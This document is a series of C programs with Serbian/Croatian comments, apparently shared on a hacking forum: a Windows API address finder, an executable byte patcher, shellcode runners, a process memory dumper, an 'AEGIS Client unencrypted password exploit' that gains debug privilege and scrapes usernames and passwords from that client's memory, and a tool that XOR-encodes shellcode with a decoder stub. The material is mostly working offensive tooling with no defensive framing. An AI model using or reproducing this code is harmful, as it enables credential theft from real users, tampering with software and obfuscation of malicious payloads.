Code:

#include <windows.h>
#include <stdio.h>

int main(int argc, char **argv)
{
if (!argv[1] || !argv2)
printf("Niste uneli parametre ! Primer: c:\\libadr kernel32 WinExec \n");
else
printf("Biblioteka : %s , API funkcija : %s, Adresa : 0x%x\n", argv[1], argv[2], GetProcAddress(LoadLibrary(argv[1]),argv[2]));
return(0);
}

Code:



// U ovom primeru pachujem 0x44 u 0x63 na ofsetu 0x0000006C

#include <windows.h>
#include <stdio.h>

DWORD Numb=1;             // *Broj bajtova koje zelimo da pachujemo 
DWORD RealNumb=0;         // Broj bajtova koje zelimo da procitamo
DWORD WrittenNumb=0;      // Broj upisanih bajtova
LONG Offset = 0x0000006C; // *Ofset na kojem zelimo da pachujemo 

int main(void)
{

char FileName[] = "ProgramName.exe"; // *Ime programa
HANDLE hFile;

unsigned char Buffer[1];          // *Buffer za upis
unsigned char WBuffer[1]= {0x63}; // *Buffer u kojem se nalazi sta zelimo da upisemo

HANDLE Pacher;


Pacher = CreateFile(FileName,
                 GENERIC_READ | GENERIC_WRITE,
                 FILE_SHARE_READ | FILE_SHARE_WRITE,
                 0,
                 OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,
                 0);

     if (Pacher == INVALID_HANDLE_VALUE)
         {
            printf("Error in CreateFile()!,Please make sure file name is: ");
            printf("%s",FileName);
            printf("\nAnd that file is accessible");
            exit(1);
         }
            hFile = Pacher;

     SetFilePointer(hFile,Offset,0,FILE_BEGIN);

     if(!ReadFile(hFile,(LPVOID)&Buffer,Numb,(LPDWORD)&RealNumb,0))
         {
            printf("\nError in ReadFile()!");
            exit(1);
         }

     if (RealNumb != Numb)
         {
              printf("\nError! Could Not read all bytes");
              exit(1);
         }

     // *Na ofsetu kojem zadamo treba da se nalazi sledeca vrednost
     // *u suprotnom error ...

     if((Buffer[0] != 0x44)) 
         {
             printf("\nError! Values does not match");
             printf("\n %d - %d",Buffer[0],Buffer[1]);
             exit(1);
         }

     SetFilePointer(hFile,Offset,0,FILE_BEGIN);
     if(!WriteFile(hFile,WBuffer,Numb,&WrittenNumb,0))
        {
             printf("\nError in CreateFile()!");
             exit(1);
        }

     if(WrittenNumb != Numb)
        {
            printf("\nError,Cannot write to File!");
            exit(1);
        }


CloseHandle(hFile);

return 0;

}

Code:

...
DWORD Numb=2;                          // *Broj bajtova koje zelimo da pachujemo 
...
unsigned char Buffer[2];               // *Buffer za upis
unsigned char WBuffer[2]= {0x63,0x64}; // *Buffer u kojem se nalazi sta zelimo da upisemo
...
if((Buffer[0] != 0x44 || Buffer[1] != 0x45)) // Ovo su proizvoljne vrednosti
{
printf("\nError! Values does not match");
printf("\n %d - %d",Buffer[0],Buffer[1]);
exit(1);
}...

Code:

#include <stdio.h>


char code[] = "Ovde ubacite svoj shellcode";

int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}

Code:

#include <stdio.h>
#include <windows.h>

void main(int argc,char *argv[])
{


    char buf[24000];             // Buffer gde cemo smestiti procitanu memoriju
    DWORD bufsize = sizeof(buf); // Koliko bajta zelimo da procitamo 
    DWORD hPID=0;                // Definisanje standarnog PID-a 
    HANDLE hReadp;               // Handle za "return of the OpenProcess function"
    

    printf("Enter Process Id: ");// Upisujemo PID programa ciju memoriju zelimo da
    scanf("%d",&hPID);           // procitamo


    hReadp = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,FALSE, hPID);

    if(NULL != hReadp)
    {
        // Skoro svaki *.exe u windows-u pocinje sa adrese 0x400000
        // Ovu adresu mozete menjati po potrebi
        
        int ret = ReadProcessMemory(hReadp,(LPCVOID)0x400000, &buf, bufsize,NULL);

        if(ret<=0)

        {
            printf("failed %d\n",GetLastError());
        }

            if(ret>0)
            {
            
                // Ovde stavljamo rutinu za stampanje memorije sto i nije preporucljivo
                // ali ovo je samo ideja, mozete zameniti ovaj deo koda sa bilo cime, npr
                // upisivanje u fajl ili slicno
                
                int e; 
                for( e=0; e <= sizeof(buf); e++ )
                printf("%c",buf[e]);
            }
    }


    CloseHandle(hReadp);    
}

Code:

#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <psapi.h>

#pragma comment(lib, "advapi32")
#pragma comment(lib, "user32")
#pragma comment(lib, "psapi")

#define VELICINA_CITANJA    (1024*128*sizeof(DWORD))
#define SRCE_SIGNATURE        "Srce - University Computing Center"
#define AEGIS_WINTITLE        "AEGIS Client - Running"
#define HR_SIGNATURE        ".hr"
#define SRCE_HR_SIGNATURE    "srce.hr"
#define MIN_PASS_LEN        5

int _tmain(int argc, _TCHAR* argv[])
{
    TOKEN_PRIVILEGES               tkp;
    HANDLE                           hToken;
    HANDLE                           hProcess;
    DWORD                              dwProcessId;
    HWND                              hWnd;
    HLOCAL                           hMem;
    DWORD*                           ws;
    MEMORY_BASIC_INFORMATION    meminfo;


    //
    // Podesi SeDebugPrivilege u access tokenu naseg procesa.
    //

    printf("AEGIS Client unencrypted password exploit\n");
    printf("+Podesavam debug privilegije...\n");

    if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
        fprintf(stderr, "OpenProcessToken() failed!\n");
        exit(1);
    }
    
    if (!LookupPrivilegeValue(NULL, "SeDebugPrivilege", &tkp.Privileges[0].Luid)) {
        CloseHandle(hToken);
        fprintf(stderr, "LookupPrivilegeValue() failed!\n");
        exit(1);
    }

    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Attributes |= SE_PRIVILEGE_ENABLED;
    tkp.Privileges[0].Attributes ^= (SE_PRIVILEGE_ENABLED &    tkp.Privileges[0].Attributes);
    
    if (!AdjustTokenPrivileges(hToken, FALSE ,&tkp, 0, (PTOKEN_PRIVILEGES) NULL, 0)) {
        fprintf(stderr, "AdjustTokenPrivileges() failed!\n");
        CloseHandle(hToken);
        exit(1);
    }

    CloseHandle(hToken);

    //
    // Nadji proces od AEGIS klijenta preko stringa glavnog prozora.
    //

    printf("+Trazim aktivni prozor od AEGIS klijenta..\n");

    hWnd = FindWindow(NULL, AEGIS_WINTITLE);
    
    if( !hWnd )
    {
        fprintf(stderr, "AEGIS klijent nije aktivan!\n");
        exit(1);
    }

    if (!GetWindowThreadProcessId(hWnd, &dwProcessId)) {
        fprintf(stderr, "GetWindowThreadProcessId() failed!\n");
        exit(1);
    }

    //
    // Sad otvaramo njegov proces i uzmimamo velicinu working seta.
    //

    printf("+Otvaram proces PID=%d i uzimam velicinu working seta..\n", dwProcessId);

    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |PROCESS_VM_READ, FALSE, dwProcessId);
    
    if( !hProcess ) {
        fprintf(stderr, "OpenProcess() failed!\n");
        exit(1);
    }

    hMem = LocalAlloc(LMEM_FIXED | LMEM_ZEROINIT, VELICINA_CITANJA);

        
    if( QueryWorkingSet(hProcess, hMem, VELICINA_CITANJA) == FALSE )
    {
      fprintf(stderr, "Aplikacija nije vratila working set!\n");
        LocalFree(hMem);
        CloseHandle(hProcess);
        exit(1);
    }

    //
    // Sad kad imamo podatke o working setu procesa, enumeriramo pageve.
    //

    printf("+Enumeriram page-ve u procesu...");

    ws = (DWORD*)hMem;
    
    // prvi DWORD jest broj DWORD_PTR-a koji slijede

    DWORD broj_ptra = ws[0];

    printf("%d DWORD_PTR-a\n", broj_ptra);

    for ( UINT i = 0; i < broj_ptra; i++ ) {
        DWORD adresa    = ws[i] & 0xfffff000;
        DWORD flagovi    = ws[i] & 0x00000fff;

        // ako nemamo read/write pristup, idi na sljedeci DWORD_PTR.
        // BUGBUG: promijeni protekciju page-a sa VirtualProtectEx() ?
        if(! (flagovi & 0x00000004 ) )
            continue;

        if( !VirtualQueryEx( hProcess, (LPCVOID)adresa, &meminfo, sizeof(meminfo)) )
            continue;
        
        if(meminfo.RegionSize == 0)
            continue;
        
//        printf("Baza page-a: %p\t Velicina page-a: %u\n", meminfo.BaseAddress, meminfo.RegionSize);

        BYTE* page = (BYTE*)malloc(meminfo.RegionSize);
        memset(page, 0, meminfo.RegionSize);
        
        SIZE_T velicina = ReadProcessMemory( hProcess, (LPCVOID)meminfo.BaseAddress, (LPVOID)page, meminfo.RegionSize, NULL );

        if ( velicina == 0 ) {
            fprintf(stderr, "Upozorenje: ne mogu citati page!\n");
            free(page);
            continue;
        }

        for ( UINT j = 0; j < meminfo.RegionSize; j++ ) {
            if( memcmp(&page[j], HR_SIGNATURE, strlen(HR_SIGNATURE)) == 0 ) {
//                printf("SRCE_SIGNATURE pronadjen na adresi 0x%x\n", (DWORD)meminfo.BaseAddress + j);
                
                // ako je regoc.srce.hr ili neko sl. s***** nastavi..
                if ( memcmp(&page[j]-4, SRCE_HR_SIGNATURE, strlen(SRCE_HR_SIGNATURE)) == 0 )
                    continue;

                BYTE* username = &page[j];
                while ( isalnum(*username) || *username == '.'  ) *username--;
                username ++;

                // sad treba ici barem 20 bajtova cistih 0 inace nije dobar username i pass nije blizu!

                BYTE* password = username + strlen((char*)username);

                if ( meminfo.RegionSize -j > 50 ) {
                    BOOL dvadeset_nula = TRUE;
                    
                    for ( int k = 0; k < 20; k ++ )
                        if ( password[k] != 0 ) dvadeset_nula = FALSE;

                    if ( dvadeset_nula == FALSE ) continue;

                    while ( !isalnum(*password) ) *password++;
                    if (strlen((char*)password) < MIN_PASS_LEN) continue;
                }

                printf("username = %s password = %s\n", username, password);
            }
        }

        free(page);
    }

    LocalFree(hMem);
    CloseHandle(hProcess);
    getc(stdin);

    return 0;
}

Code:

/* Simple program to help you with common shellcode operations*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>

int  decoder[] = {    //the decoder instructions , you dont want to change this :)
                    0x31,0xd2,0x31,0xc9,0x31,0xc0,0xeb
                   ,0x10,0x5e,0xb0,0x41,0xb1,0x23,0x30
                   ,0x06,0x46,0xfe,0xc9,0x38,0xd1,0x75
                   ,0xf7,0xeb,0x05,0xe8,0xeb
                   ,0xff,0xff,0xff
                 };
 
usage(char *progname) 
{    
    printf("\nTo execute shellcode : %s -e <file>\n", progname);
    printf("To print shellcode as C-like string : %s -p <file> \n", progname);
    printf("To xor shellcode: %s -x <file>  \n\n", progname);
    exit(1);
}


main(int argc, char **argv) 
{
    FILE *fp;
    void *code;
    int arg;
    int i;
    int l;
    int bperline = 15; // bytes to print per line
    int key = 'B';       // the key we are xoring with    
    
     struct stat sbuf;
     long flen; 
     void (*fptr)(void);
    

    printf("\n Schelper to help you with shellcodes\n\n");
    printf("\t http://www.phearless.org\n");
    printf("\t http://anikolic.phearless.org\n\n\n");

     if(!(argc == 3)) usage(argv[0]);
     if(stat(argv[2], &sbuf))
        {
        perror("stat");
        exit(1);
        }
    flen = (long) sbuf.st_size;
    if(!(code = malloc(flen))) 
        {
        perror("malloc");
        exit(1);
        }

     if(!(fp = fopen(argv[2], "rb"))) 
        {
        perror("fopen");
        exit(1);
        }

    if(fread(code, 1, flen, fp) != flen) 
        {
        perror("fread");
        exit(1);
        }
     if(fclose(fp)) 
        {
        perror("fclose");
        }

     while ((arg = getopt (argc, argv, "e:p:x:")) != -1)
    {
     switch (arg)
        {
         case 'e':
             printf("Executing shellcode...\n\n");
            fptr = (void (*)(void)) code;
             (*fptr)();
         break;
     
        case 'p':
             printf("\n Shellcode is %d bytes long: \n",flen);
             printf("\nchar shellcode[] =\n");
             l = bperline;
             for(i = 0; i < flen; i++) 
                {
                 if(l >= bperline) 
                    {
                     if(i) printf("\"\n");
                     printf( "\t\"");
                     l = 0;
                     }
                 l++;
                 printf("\\x%02x", ((unsigned char *)code)[i]);
                 }
             printf("\";\n\n\n");
        break;
     
        case 'x':
            printf("\n Encoding shellcode with key = 0x%x\n",key);
             printf("\nchar shellcode[] =\n");
            l = bperline;
             for(i = 0; i < sizeof(decoder)/4; i++) 
                {
                if(l >= bperline) 
                    {
                    if(i==0)printf("\n");
                    else printf("\"\n");
                    printf( "\t\"");
                    l = 0;
                    }
                l++;
                if(i==10)
                    {
                    printf("\\x%02x",key); // to change the key inside the decoder
                    i++;
                    }
                if(i==12)
                    {
                    printf("\\x%02x",flen); //to change the sc lenth in decoder
                    i++;
                    }
                printf("\\x%02x",decoder[i]);
                }
            l = bperline;
             for(i = 0; i < flen;i++)
                {
                if(l>= bperline)
                    {
                    printf("\"\n");
                    printf( "\t\"");
                    l = 0;
                    }
                l++;
                printf("\\x%02x",((unsigned char *)code)[i] ^= key);
                }
            printf("\";\n\n\n");
        break;

        default :
             usage(argv[0]);
         }
     }
     return 0;
 }